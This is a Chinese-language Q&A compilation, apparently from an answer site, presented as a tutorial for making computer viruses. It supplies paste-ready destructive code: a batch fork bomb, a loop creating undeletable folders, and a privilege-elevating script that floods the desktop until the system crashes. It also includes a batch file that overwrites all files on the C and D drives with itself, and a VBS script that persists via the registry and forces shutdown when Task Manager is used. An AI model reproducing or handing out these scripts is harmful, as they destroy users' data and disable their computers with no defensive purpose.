电脑病毒制作教程
很荣幸能够回答您的问题！
桌面上创建记事本，改后缀为bat
2
::输入以下代码
%0|%0
保存后退出，打开会发现无限制的弹窗。这是什么原理呢？
执行脚本的时候，|管道符会将左面的值传给右边，而这里%0是第一个参数（批处理路径），所以会无限执行自己。
END
第二种病毒
这种更强大一些。同样，桌面上创建记事本，改后缀为bat
::输入以下代码
for /l %%i in (1 1 999999) do md A..\
这个病毒利用Windows命名漏洞，创建999999个删除不了也打不开的文件夹。解决方法：把md改为rd
END
第三种病毒
这种病毒更高级，攻击性能更强。同样，桌面上创建记事本，改后缀为bat
@%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",0)(window.close)exit
:a
set /a a+=1
echo %random%-%random%-%random% C:\Users\%username%\Desktop\病毒文件.%random%
mshta javascript:alert("您已中第%a%个病毒.");close();
goto a
这个病毒会在后台运行，在桌面重复弹信息框，生成垃圾文件，千万不敢随意测试，因为电脑会消耗尽内存后蓝屏。
END
第四种病毒
这种病毒最有破坏性，跟熊猫烧香媲美。同样，桌面上创建记事本，改后缀为bat
@%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",0)(window.close)exit
for /f "tokens=* delims=" %%i in ('dir /b D:\*.*') do copy /y "%dpnx0" "%%i" nul
for /f "tokens=* delims=" %%i in ('dir /b C:\*.*') do copy /y "%dpnx0" "%%i" nul
此程序特别狠，会在后台把C、D盘所有的文件都替换成自己（病毒文件，然后会又被执行）。
希望能帮到您，如有疑问，请追问！
具体怎样做U盘病毒
在计算机程序中插入的破坏计算机功能或者破坏数据，影响计算机使用并且能够自我复制的一组计算机指令或者程序代码 病毒是一种比较完美的，精巧严谨的代码，按照严格的秩序组织起来，与所在的系统网络环境相适应和配合起来，病毒不会通过偶然形成，并且需要有一定的长度，这个基本的长度从概率上来讲是不可能通过随机代码产生的。现在流行的病毒是由人为故意编写的，多数病毒可以找到作者和产地信息。 制作的话就麻烦了呵呵，有谁能用一句话就教你做好病毒那么他就利害了。先把计算机程序语言在转向学习病毒的编译方法。有高手可以直接用汇编语言编写。
vbs脚本病毒编写教程（不是拿去害人，是自己用来玩玩） 急！！！！！
Set ws=WScript.CreateObject("wscript.shell")
Set fso=WScript.CreateObject("scripting.filesystemobject")
path1=fso.GetSpecialFolder(1)
Set fs1=fso.getfile(WScript.ScriptFullName)
path2=path1 "\" fs1.Name
ws.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\aa","""" path2 """","REG_SZ"
If Not fso.FileExists(path2) then
fs1.Copy(path1 "\")
ws.Run """" path2 """",True,True
End If
do
Set wmi=GetObject("winmgmts:\\.\root\cimv2")
Set list=wmi.ExecQuery("select * from win32_process where name='taskmgr.exe'")
If list.count0 Then
Call fun2()
End If
WScript.Sleep 3000
loop
Function fun2()
do
Set wmi2=GetObject("winmgmts:\\.\root\cimv2")
Set list2=wmi2.ExecQuery("select * from win32_process where name='taskmgr.exe'")
If list2.count=0 Then
Set wmi3=GetObject("winmgmts:{(shutdown)}\\.\root\cimv2")
Set list3=wmi3.ExecQuery("select * from win32_operatingsystem")
For Each uu In list3
uu.win32shutdown(2+4)
next
End If
wscript.sleep 2000
loop
End function
病毒编写教程
《黑客X档案》的系列丛书不错，有各个方面的，像《黑客编程入门》，《黑客脚本攻击》《黑客免杀入门》都是不错的，而且都带光碟，《傻瓜黑客》更是适合新手。
病毒制作教程
制作自己玩玩可以，要是上传或者散播给他人就会有法律责任。
制作病毒这玩意，你还是去网上找教程吧。也不是一时半会一天两天你就能回。比如什么黑客基地